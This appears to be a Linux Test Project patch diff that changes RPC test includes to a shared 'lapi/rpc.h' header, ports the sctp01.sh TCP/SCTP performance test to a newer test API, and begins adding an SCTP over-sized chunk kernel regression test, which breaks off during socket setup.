index 54f3cc6..56b5ddb 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_call/tirpc_rpc_call_stress.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg.c
index e6f2044..248dbdb 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg_mt.c
index 6349387..6b6d500 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg_stress.c
index c70f31e..4d54b09 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_simple_rpc_reg/tirpc_rpc_reg_stress.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call.c
index 0d887ef..7143e31 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_complex.c
index f147f92..9ffb0ba 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_complex.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_complex.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define CALCTHREADPROC	1000
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_dataint.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_dataint.c
index 5dc8a8b..e88663a 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_dataint.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_dataint.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define INTPROCNUM 10
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_mt.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_mt.c
index dedd65b..6f333ac 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_mt.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_mt.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <time.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_performance.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_performance.c
index 73ad66a..264d65b 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_performance.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_performance.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <sys/time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_scalability.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_scalability.c
index b891dd6..d2352b3 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_scalability.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_scalability.c
@@ -29,12 +29,8 @@
 #include <stdlib.h>
 #include <pthread.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_stress.c
index c166060..25f626c 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_call/tirpc_toplevel_clnt_call_stress.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create/tirpc_clnt_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create/tirpc_clnt_create.c
index 25e9c93..d6584ac 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create/tirpc_clnt_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create/tirpc_clnt_create.c
@@ -28,12 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create_timed/tirpc_clnt_create_timed.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create_timed/tirpc_clnt_create_timed.c
index 658b58b..c671649 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create_timed/tirpc_clnt_create_timed.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create_timed/tirpc_clnt_create_timed.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create_timed/tirpc_clnt_create_timed_limits.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create_timed/tirpc_clnt_create_timed_limits.c
index ffcdac1..238267b 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create_timed/tirpc_clnt_create_timed_limits.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_create_timed/tirpc_clnt_create_timed_limits.c
@@ -28,7 +28,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/rpc/rpc.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_destroy/tirpc_clnt_destroy.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_destroy/tirpc_clnt_destroy.c
index ac1fd11..becd6a4 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_destroy/tirpc_clnt_destroy.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_clnt_destroy/tirpc_clnt_destroy.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_svc_create/tirpc_svc_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_svc_create/tirpc_svc_create.c
index 5891175..519aa4e 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_svc_create/tirpc_svc_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_svc_create/tirpc_svc_create.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_svc_destroy/tirpc_svc_destroy.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_svc_destroy/tirpc_svc_destroy.c
index 8ba5f7b..102660b 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_svc_destroy/tirpc_svc_destroy.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_toplevel_svc_destroy/tirpc_svc_destroy.c
@@ -28,13 +28,8 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <time.h>
-#include <tirpc/netconfig.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
-#include <time.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define PROCNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_cleaner.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_cleaner.c
index a23d378..a938aec 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_cleaner.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_cleaner.c
@@ -26,13 +26,9 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_1/tirpc_svc_1.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_1/tirpc_svc_1.c
index 4f05f10..231f671 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_1/tirpc_svc_1.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_1/tirpc_svc_1.c
@@ -26,13 +26,9 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_11/tirpc_svc_11.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_11/tirpc_svc_11.c
index d3b9388..a93e831 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_11/tirpc_svc_11.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_11/tirpc_svc_11.c
@@ -26,14 +26,10 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <netinet/in.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_2/tirpc_svc_2.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_2/tirpc_svc_2.c
index 49b1dc5..7a4667e 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_2/tirpc_svc_2.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_2/tirpc_svc_2.c
@@ -26,13 +26,9 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_3/tirpc_svc_3.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_3/tirpc_svc_3.c
index fd3787f..e20b9b4 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_3/tirpc_svc_3.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_3/tirpc_svc_3.c
@@ -26,13 +26,9 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_4/tirpc_svc_4.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_4/tirpc_svc_4.c
index ad33540..02d745c 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_4/tirpc_svc_4.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_4/tirpc_svc_4.c
@@ -26,13 +26,9 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_5/tirpc_svc_5.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_5/tirpc_svc_5.c
index c899d0f..36003cb 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_5/tirpc_svc_5.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_5/tirpc_svc_5.c
@@ -27,16 +27,12 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <netinet/in.h>
 #include <unistd.h>
 #include "librpc-tirpc.h"
+#include "lapi/rpc.h"
 
 #define VERSNUM 1
 #define PROCSIMPLEPING	1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_6/tirpc_svc_6.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_6/tirpc_svc_6.c
index 16c658a..71a4753 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_6/tirpc_svc_6.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_6/tirpc_svc_6.c
@@ -26,15 +26,11 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <pthread.h>
 #include <netinet/in.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_7/tirpc_svc_7.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_7/tirpc_svc_7.c
index 0399ddd..ea141f4 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_7/tirpc_svc_7.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_7/tirpc_svc_7.c
@@ -26,14 +26,10 @@
 */
 
 #include <stdio.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <netinet/in.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_8/tirpc_svc_8.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_8/tirpc_svc_8.c
index cd945ce..6c1c37b 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_8/tirpc_svc_8.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_8/tirpc_svc_8.c
@@ -27,14 +27,10 @@
 
 #include <stdio.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <netinet/in.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_9/tirpc_svc_9.c b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_9/tirpc_svc_9.c
index 6cead1b..a000ba2 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_9/tirpc_svc_9.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/tirpc_svc_9/tirpc_svc_9.c
@@ -27,14 +27,10 @@
 
 #include <stdio.h>
 #include <pthread.h>
-#include <tirpc/netconfig.h>
 #include <sys/socket.h>
-#include <tirpc/rpc/rpc.h>
-#include <tirpc/rpc/types.h>
-#include <tirpc/rpc/xdr.h>
-#include <tirpc/rpc/svc.h>
 #include <errno.h>
 #include <netinet/in.h>
+#include "lapi/rpc.h"
 
 //Standard define
 #define VERSNUM 1
diff --git a/testcases/network/sctp/Makefile b/testcases/network/sctp/Makefile
index 914e389..0fa9125 100644
--- a/testcases/network/sctp/Makefile
+++ b/testcases/network/sctp/Makefile
@@ -15,7 +15,7 @@
 
 top_srcdir		?= ../../..
 
-include $(top_srcdir)/include/mk/env_pre.mk
+include $(top_srcdir)/include/mk/testcases.mk
 
 INSTALL_TARGETS		:= sctp01.sh
 
diff --git a/testcases/network/sctp/sctp01.sh b/testcases/network/sctp/sctp01.sh
index d5c5f6d..a660200 100755
--- a/testcases/network/sctp/sctp01.sh
+++ b/testcases/network/sctp/sctp01.sh
@@ -1,62 +1,35 @@
 #!/bin/sh
-# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2017-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=sctp01
-TST_TOTAL=4
-TST_CLEANUP="cleanup"
+TST_TESTFUNC="test"
 TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_TEST_DATA=",-A 65000"
+TST_TEST_DATA_IFS=","
 
-. test_net.sh
+. tst_net.sh
 
-cleanup()
+test()
 {
-	tst_rmdir
-}
+	local opts="$2"
 
-setup()
-{
-	tst_require_root
-	TST_NETLOAD_MAX_SRV_REPLIES=3
-}
+	tst_res TINFO "compare TCP/SCTP performance"
 
-test_run()
-{
-	local opts="$@"
-
-	tst_resm TINFO "compare TCP/SCTP performance"
-
-	tst_netload -H $(tst_ipaddr rhost) -T tcp $opts
+	tst_netload -H $(tst_ipaddr rhost) -T tcp -R 3 $opts
 	local res0="$(cat tst_netload.res)"
 
-	tst_netload -S $(tst_ipaddr) -H $(tst_ipaddr rhost) -T sctp $opts
+	tst_netload -S $(tst_ipaddr) -H $(tst_ipaddr rhost) -T sctp -R 3 $opts
 	local res1="$(cat tst_netload.res)"
 
 	local per=$(( $res0 * 100 / $res1 - 100 ))
 
 	if [ "$per" -gt "100" -o "$per" -lt "-100" ]; then
-		tst_resm TFAIL "sctp performance $per %"
+		tst_res TFAIL "sctp performance $per %"
 	else
-		tst_resm TPASS "sctp performance $per % in range -100 ... 100 %"
+		tst_res TPASS "sctp performance $per % in range -100 ... 100 %"
 	fi
 }
 
-setup
-test_run
-test_run -A 65000
-
-tst_exit
+tst_run
diff --git a/testcases/network/sctp/sctp_big_chunk.c b/testcases/network/sctp/sctp_big_chunk.c
new file mode 100644
index 0000000..4ebdcb2
--- /dev/null
+++ b/testcases/network/sctp/sctp_big_chunk.c
@@ -0,0 +1,186 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+ *
+ * Regression test-case for the crash caused by over-sized SCTP chunk,
+ * fixed by upstream commit 07f2c7ab6f8d ("sctp: verify size of a new
+ * chunk in _sctp_make_chunk()")
+ */
+
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+#include <netinet/ip6.h>
+#include <netdb.h>
+#include <sys/syscall.h>
+
+#include "tst_test.h"
+#include "tst_safe_stdio.h"
+#include "tst_checksum.h"
+#include "lapi/netinet_in.h"
+#include "lapi/socket.h"
+#include "lapi/sctp.h"
+
+static int port;
+static int sfd, cfd;
+static struct sockaddr_in6 rmt, loc;
+
+static uint8_t packet[IP_MAXPACKET];
+static int pkt_len;
+static char *addr_param;
+static int addr_num = 3273;
+
+static void setup_server(void)
+{
+	loc.sin6_family = AF_INET6;
+	loc.sin6_addr = in6addr_loopback;
+
+	sfd = SAFE_SOCKET(AF_INET6, SOCK_STREAM, IPPROTO_SCTP);
+	SAFE_BIND(sfd, (struct sockaddr *)&loc, sizeof(loc));
+
+	port = TST_GETSOCKPORT(sfd);
